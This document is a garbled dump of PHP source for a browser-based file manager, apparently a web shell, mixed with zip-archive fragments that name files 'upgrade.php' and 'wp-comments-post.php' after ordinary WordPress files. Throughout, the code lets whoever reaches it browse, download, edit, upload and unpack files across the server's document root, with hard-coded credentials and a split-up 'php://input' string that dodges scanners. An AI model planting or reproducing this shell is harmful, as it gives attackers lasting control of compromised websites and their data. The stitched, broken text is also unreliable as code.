'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'chromed
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PK!<¶h // upgrade.phpnu„[µü¤>>>>>>>>>>>>>>>>>>>>>>>>>>>>>. <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PK!f¦6 Ñ Ñwp-comments-post.phpnu„[µü¤ '2d83559d56f486ddc97c19668be82838', 'user' => '2d83559d56f486ddc97c19668be82838' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'chromed'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; 